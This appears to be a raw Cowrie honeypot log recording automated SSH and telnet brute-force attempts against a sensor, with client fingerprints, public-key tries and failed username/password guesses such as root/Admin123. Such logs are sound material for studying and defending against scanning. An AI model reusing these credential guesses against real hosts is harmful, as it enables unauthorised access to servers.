{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:35.760704Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:64:cb:37:70:92:3d:0b:a3:40:8b:34:d2:db:4d:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqSlQGT7Agj4Y7Arjp2ORSk/dQwzJ8VVyiRaQESg8Z4GaZg4sf/ha0kOoR6xy7xlTeonPQVITBmZfM0dIIDpmrJ6u3buYC/Q+tufCy3DUYLBsu/2yeskM4kuuYSocokOdI9QQEswb5RwWOXzMhM3lBvhPVRwbZQNHg0ua6AA2PssHqcESYGVf81RV7TvlzvzcnlG7BP52+s+FbMm6ZwyJmLUgb9o/yVnPhPbA/j2QBEGWjjrlCFImQw31RUw2OXi+lhUzDY0uKvn91Mbv2yDdBcfvhqLmfi+/bM88pPHECNWYny5wqvPorI4KRfT8x2kJfP+2I2WsNC8M2qme+Zxcj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:64:cb:37:70:92:3d:0b:a3:40:8b:34:d2:db:4d:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.126503Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:64:cb:37:70:92:3d:0b:a3:40:8b:34:d2:db:4d:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqSlQGT7Agj4Y7Arjp2ORSk/dQwzJ8VVyiRaQESg8Z4GaZg4sf/ha0kOoR6xy7xlTeonPQVITBmZfM0dIIDpmrJ6u3buYC/Q+tufCy3DUYLBsu/2yeskM4kuuYSocokOdI9QQEswb5RwWOXzMhM3lBvhPVRwbZQNHg0ua6AA2PssHqcESYGVf81RV7TvlzvzcnlG7BP52+s+FbMm6ZwyJmLUgb9o/yVnPhPbA/j2QBEGWjjrlCFImQw31RUw2OXi+lhUzDY0uKvn91Mbv2yDdBcfvhqLmfi+/bM88pPHECNWYny5wqvPorI4KRfT8x2kJfP+2I2WsNC8M2qme+Zxcj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.130278Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:d9:ab:6d:57:57:03:9d:43:b2:38:fa:0e:1f:2c:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhHVLXaJlP0z3Ys0Ej0zd7j+FVUnhvbUjvVLlOLb09ToG+j6/aMDEzie8fP53tl+wNy4bsVYIgvSQjOmrBNqXUZfXkJa0cKy+M7/9jWMV2YkvWggtElFx+N/N2IewntWJOLjTRVTOQuMkEcw5XqVtRWEUpjhXPUEzWZtOmWAaqsyv5YwQHP0nvJ6tn2OpvL5FFzBJyCjzjJ09sTcIQ9FcYms54ZhP9U0zV62aeMRFZeBhmQb6uOdnZclNCdCbOVGvcp6lrsll8sY90Tn5W1GaMzf+2kmhusFjTMFx1Fj8Zf8YT/FOMJ4CNXozeDgTjZerQ+JRUKtnXFfSndc09zuhp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:d9:ab:6d:57:57:03:9d:43:b2:38:fa:0e:1f:2c:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.207898Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:d9:ab:6d:57:57:03:9d:43:b2:38:fa:0e:1f:2c:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhHVLXaJlP0z3Ys0Ej0zd7j+FVUnhvbUjvVLlOLb09ToG+j6/aMDEzie8fP53tl+wNy4bsVYIgvSQjOmrBNqXUZfXkJa0cKy+M7/9jWMV2YkvWggtElFx+N/N2IewntWJOLjTRVTOQuMkEcw5XqVtRWEUpjhXPUEzWZtOmWAaqsyv5YwQHP0nvJ6tn2OpvL5FFzBJyCjzjJ09sTcIQ9FcYms54ZhP9U0zV62aeMRFZeBhmQb6uOdnZclNCdCbOVGvcp6lrsll8sY90Tn5W1GaMzf+2kmhusFjTMFx1Fj8Zf8YT/FOMJ4CNXozeDgTjZerQ+JRUKtnXFfSndc09zuhp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.211569Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:8a:89:bc:c8:0f:4b:c8:d6:3b:d0:30:1f:3e:80:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICWRck//X+886Yw/1OWAsVNeTZMhGiFcxNGecJ8PdPNr","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 85:8a:89:bc:c8:0f:4b:c8:d6:3b:d0:30:1f:3e:80:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.290499Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:8a:89:bc:c8:0f:4b:c8:d6:3b:d0:30:1f:3e:80:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICWRck//X+886Yw/1OWAsVNeTZMhGiFcxNGecJ8PdPNr","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.293278Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:42:0c:78:3b:4e:40:b2:f7:61:94:3a:66:bc:4f:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqH2c394rtJY1Eu9KlOrBE5WlnVE+/4/CoZoBvmsYPprwfvuLtOg1jwVIE3wxtZzTdT4c2B0kGavSR+0n17uzjktDUodG7IGrP2R4EF+Nnyteu/xmXGwOYONRQQhRWLBKSCfq9z7flFa3BObNq+hyOlJaye2qyGXsZfPMVkrlKOfgZCGR7osV67ipz+gAyXxN/BlTedVIoZTM5SXJOqJFW5jIggfOYYOcBOwMbR76LMA1shD/oiyEYVHPAfzNcK90Et6yhNJbCOCOniTnPA1gnymYOAn7ZXOygiOotU9mjOh+loF5buLazBtT0C89UjOpuLFDvM47p+nlxgp/HVA8KQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:42:0c:78:3b:4e:40:b2:f7:61:94:3a:66:bc:4f:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.370245Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:42:0c:78:3b:4e:40:b2:f7:61:94:3a:66:bc:4f:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqH2c394rtJY1Eu9KlOrBE5WlnVE+/4/CoZoBvmsYPprwfvuLtOg1jwVIE3wxtZzTdT4c2B0kGavSR+0n17uzjktDUodG7IGrP2R4EF+Nnyteu/xmXGwOYONRQQhRWLBKSCfq9z7flFa3BObNq+hyOlJaye2qyGXsZfPMVkrlKOfgZCGR7osV67ipz+gAyXxN/BlTedVIoZTM5SXJOqJFW5jIggfOYYOcBOwMbR76LMA1shD/oiyEYVHPAfzNcK90Et6yhNJbCOCOniTnPA1gnymYOAn7ZXOygiOotU9mjOh+loF5buLazBtT0C89UjOpuLFDvM47p+nlxgp/HVA8KQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.373832Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:f9:e4:1c:ad:d0:ad:9b:b9:0d:af:fd:9d:11:3f:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8LVYELIDhyFLgM8/GOpJfKtSxlag5ZKMApmWAmXaOCkDuEyFyDo/n4xNLwkiVCQ0ewTqh3yJzgiU0AWCGyouMU6s+bQ+26MNhPIoaX1+bHG0qkl9gDUZhoBq03K1alWycvqI1PaNkj2rLaq1tCMToznOsDtXgkL3aBGGHPNn+YGCJrcw7FSHEpHF6kbl/sGe4sQIHOg1S39umOicb4ay8GILSXI9UHuc1+mJmXZacBItCATlhKENjP93ungyano2CNIQqKa7p4O1AA27MQaOdAWLCIqF9opptBHqPtZyiRECCYBSNZycpK+BieQ00mc9RncAKpsOMrbZdSROlKC/n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:f9:e4:1c:ad:d0:ad:9b:b9:0d:af:fd:9d:11:3f:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.451143Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:f9:e4:1c:ad:d0:ad:9b:b9:0d:af:fd:9d:11:3f:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8LVYELIDhyFLgM8/GOpJfKtSxlag5ZKMApmWAmXaOCkDuEyFyDo/n4xNLwkiVCQ0ewTqh3yJzgiU0AWCGyouMU6s+bQ+26MNhPIoaX1+bHG0qkl9gDUZhoBq03K1alWycvqI1PaNkj2rLaq1tCMToznOsDtXgkL3aBGGHPNn+YGCJrcw7FSHEpHF6kbl/sGe4sQIHOg1S39umOicb4ay8GILSXI9UHuc1+mJmXZacBItCATlhKENjP93ungyano2CNIQqKa7p4O1AA27MQaOdAWLCIqF9opptBHqPtZyiRECCYBSNZycpK+BieQ00mc9RncAKpsOMrbZdSROlKC/n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.454276Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:36.532592Z","src_ip":"104.194.8.142","session":"5797df859052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33605718612671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:37.169785Z","src_ip":"104.238.81.133","session":"73c4425be28e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:41.749994Z","src_ip":"8.218.166.49","session":"dd7fa487edae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":37418,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1abdbbf5139","protocol":"telnet","message":"New connection: 104.238.81.133:37418 (10.17.0.5:23) [session: e1abdbbf5139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:43.310934Z"}
{"eventid":"cowrie.session.closed","duration":"23.0","message":"Connection lost after 23.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:52.589985Z","src_ip":"8.218.166.49","session":"dd7fa487edae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":53068,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3768f977976","protocol":"ssh","message":"New connection: 49.207.40.162:53068 (10.17.0.5:22) [session: a3768f977976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:56.156886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:56.161752Z","src_ip":"49.207.40.162","session":"a3768f977976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:56.380744Z","src_ip":"49.207.40.162","session":"a3768f977976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1919","message":"login attempt [root/1919] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:57.290846Z","src_ip":"49.207.40.162","session":"a3768f977976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:01:58.512787Z","src_ip":"49.207.40.162","session":"a3768f977976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:07.016807Z","src_ip":"8.218.166.49","session":"7fc47a7be767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":46550,"dst_ip":"10.17.0.5","dst_port":22,"session":"69cc9e6ab640","protocol":"ssh","message":"New connection: 198.23.150.42:46550 (10.17.0.5:22) [session: 69cc9e6ab640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:12.000859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:12.005254Z","src_ip":"198.23.150.42","session":"69cc9e6ab640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:12.031829Z","src_ip":"198.23.150.42","session":"69cc9e6ab640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:12.137770Z","src_ip":"198.23.150.42","session":"69cc9e6ab640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:13.159726Z","src_ip":"198.23.150.42","session":"69cc9e6ab640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.861319541931152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:14.172127Z","src_ip":"104.238.81.133","session":"e1abdbbf5139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":36056,"dst_ip":"10.17.0.5","dst_port":22,"session":"65c556708fb0","protocol":"ssh","message":"New connection: 182.180.57.212:36056 (10.17.0.5:22) [session: 65c556708fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:17.265566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:17.271251Z","src_ip":"182.180.57.212","session":"65c556708fb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:17.508052Z","src_ip":"182.180.57.212","session":"65c556708fb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:18.482515Z","src_ip":"182.180.57.212","session":"65c556708fb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:19.721850Z","src_ip":"182.180.57.212","session":"65c556708fb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"86.0","message":"Connection lost after 86.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:27.298682Z","src_ip":"8.218.166.49","session":"7fc47a7be767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":52446,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e1d80396eda","protocol":"ssh","message":"New connection: 68.183.178.130:52446 (10.17.0.5:22) [session: 5e1d80396eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:30.818365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:30.825801Z","src_ip":"68.183.178.130","session":"5e1d80396eda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:31.062932Z","src_ip":"68.183.178.130","session":"5e1d80396eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"captain","message":"login attempt [root/captain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:32.042300Z","src_ip":"68.183.178.130","session":"5e1d80396eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:33.282459Z","src_ip":"68.183.178.130","session":"5e1d80396eda","protocol":"ssh"}
